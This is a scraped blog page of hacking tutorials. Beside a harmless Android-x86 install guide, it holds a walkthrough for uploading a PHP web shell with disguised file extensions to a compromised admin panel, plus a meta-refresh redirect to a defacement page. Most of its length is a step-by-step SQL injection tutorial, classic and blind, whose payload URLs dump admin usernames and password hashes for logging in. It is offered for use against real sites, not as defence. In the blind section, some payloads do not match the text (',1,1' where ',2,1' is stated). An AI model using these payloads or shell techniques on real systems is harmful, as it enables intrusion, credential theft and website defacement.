FN SECURE: Ethical Hacking Tutorial

Call Us For Workshops Or Seminars.. In Your University, Colleges, or Schools.
Email Us At : vicky@globallyunique.in

Save as PDF
Showing posts with label Ethical Hacking Tutorial. Show all posts
Showing posts with label Ethical Hacking Tutorial. Show all posts

Execute and Access .jpg Shell on a webiste, and keep maintaining access

First of all, After hacking a admin panel of a website, find a place to upload image. And there instead of image you can upload your .jpg shell. Sometimes .php files are not allowed or there are restrictions on uploading .php files, So inorder to upload and execute for shell you have to change the extension of your shell.
Open your shell in notepad and then Save As and change the extension to any any one of the

shell.php;.jpg
shell.php.jpg
shell.php..jpg
shell.php.jpg
shell.php.jpg:;
shell.php.jpg%;
shell.php.jpg;

shell.php.jpg;
shell.php.jpg:;




Suppose you have uploaded your shell in image section of the website, You will find your shell most of times here http://website/images/shell.php

If there is no upload section in the administrator panel of the website but there is a section where you can update or add news, you can use meta http-equiv to make redirection from website to your deface page. 

Just add  this code in news 

<meta http-equiv="refresh" content="0;url=http://link_to_your_deface_page">

Now you can just open the shelf in your browser and then execute it whenever  required as per your wish. Cheers:)

Read more

How to upload PHP SHELL (script) on Wordpress Sites

Have You ever wondered how you can access to  some of your website browsers / visitors web data.

You can gain access your admin panel of wordpress website via symlink. In this tutorial I will be telling you how to upload your shell after gaining the admin access.


1. Login into the wordpress admin panel. 
goto  http://www.site.com/wp-admin/ or  http://www.site.com/wp-login/




2. Now on the left hand side look for the option Appearance.

Read more

Install and Run ANDROID 4.0.4 (ICE CREAM SANDWICH) on your PC or Laptop directly or on VMWARE or VIRTUAL BOX


Good Morning Everyone,
Today we will learn here how to install and run Android 4.0.4 Ice Cream Sandwich on your PC directly and in VmWare or VirtualBox.
Now you can create and check and make use of android apps directly on your PC and theirs no need to be dependent on a android Phone or a tablet to become and Android hacker or app developer.Howdy, for all the Android developers.
Android,the google’s OS for phones/tablet PC is a Linux based OS basically designed for ARM CPU, but it has also been ported for x86 architecture i.e. Intel/AMD CPU by Chih-Wei Huang. This project is called
Android-x86, you can visit www.android-x86.org or www.androidx86.org for more information. So, we’ii now install Android x86 4 (Ice cream Sandwich) on our PC.You can also install the pre-android versions also. I’m doing it in VmWare but you can also install Android directly on your computer.
STEP 1:Dowmload
Go to wandroid-x86 download page and download the ISO image of your choice, I’ve downloaded the IBM think pad installer,no special reason just that its largest one…
 STEP 2:VmWare Setup
You have to change your virtual disk type to be IDE because the default type in VMware is SCSI, and Android-x86 kernel is not configured to support SCSI. You can follow these steps:
  • Create a virtual machine.
  • Edit virtual machine settings after the virtual machine created.
  • Choose the hard disk and remove it.
  • Add a hard disk to create a new virtual disk, then you can choose IDE as your virtual disk type.
  • When finished, you can install android-x86 normally.
Note: For normal functioning,select:
  • Ram : 1024Mb
  • Memory : 4Gb
  • OS:Linux
  • Use advanced method and not typical(or default) and select IDE hard disk
STEP 3:Setup Android x86
You can follow the images to install android 4.04
Bootup your OS by selecting it in Workstation

Android-x86 Live & Installation CD 4.0-RC2 GRUB Menu select ‘Installation – Install Android-x86 to harddisk’ using Keyboard and you will be asked to partion the drive.

Then create a new partition in the free space.
Also mark the drive as ‘Bootable’ by hitting Enter on it and you will be given with this warning(‘Are You Shure’ type)…
Write ‘yes’ and then hit Enter, after writing the filesytem
Then hit QUIT botton
Android-x86 can co-exist with other operating system or data in the chosen partition. If the partition is formatted, you may choose ‘Do not format’ to keep existing data. Otherwise, choose a filesystem type to format. Note the type you chosen must match the partition id, or the boot loader will fail to boot.
Also note if you choose to format to fat32, you will see a warning that android cannot save data to fat32. You can still proceed to install, but the installed android system will work like a live cd system. That is, all data will lose after power off. Therefore we do not recommend to install Android-x86 to a fat32 partition.
Now installer will display a warning, just type Yes to format the harddisk.
If you are lucky, the installation will begin, and you will see the progress bar.
If you see this screen, the installation is complete. Congratulations! Now you can run Andrond-x86 directly, or you can reboot and run it.
Now the OS will boot from the harddisk and then it will display the Welcome screen for Android
These are just followup Screenshots that I took

Here is the final video:

Advanced

How to create a bootable USB stick for Android-x86?

  • Use the USB image
    Download the compressed USB image, uncompress and dump it to a USB stick. On a Linux host, you can use the command
    # zcat android-x86-1.6-r2_usb.img.gz | dd of=/dev/sdc
    where /dev/sdc is the device name of the target USB disk. However, some broken BIOS may fail to boot such a USB disk.
  • Create a bootable USB stick by iso
    There are some open source tools that can convert an iso into a bootable USB disk, say

Multi-boot

To boot other operating systems, you have to add items for them to /grub/menu.lst. For example, to boot Windows, add the following:
title Windows
    rootnoverify (hd0,0)
    chainloader +1
This assumes the Windows is installed to the first partition of the first hard disk. Or you need to change rootnoverify to the appropriate value. See Grub manual for details.

Read more

Backtrack Tutorials : Hacking With Back Track




                  This are amazing video tutorials of backtack which include very good collection of hacking videos using backtrack such as sql injection, phine phreaking, wireless hacking, website hacking etc.

Read more

How to Unlock Password Protected Memory Card



here is a quick n easy way to recover your memory card password , just follow the simple steps to recover your password successfully.

Read more

What is Googledorks? : Hacking With Google Dorks





The  term  “googledork” was coined by Johnny Long  (http://johnny.ihackstuff.com) and
originally meant “An inept or foolish person as revealed by Google.” After a great deal of

Read more

HOW TO : By Pass Bios Password


By Pass Bios Password

How to Bypass BIOS Passwords

BIOS passwords can add an extra layer of security for desktop and laptop computers.

Read more

Virus Spreading using Batch Script


This script is not mine.... i got some where and thought of sharing here... nice script u guys can learn from here how the worms are spreading..   

Read more

SQL Injection : Step By Step Tutorial

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) Grin

2.Blind SQL Injection (the harder part)


So let's start with some action Grin


1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection Smiley

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works Smiley

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it Smiley

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version Grin

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good Grin)

we know that table admin exists...

now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up Smiley

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice Smiley

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser Grin

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... Grin

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... Grin

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together Grin

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part Smiley



2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done Grin

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it Grin

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend Smiley

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one Smiley

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)


http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR Grin



Hope you learned something from this paper.


Have FUN!  ;D

Read more

Save this Page

Download as PDF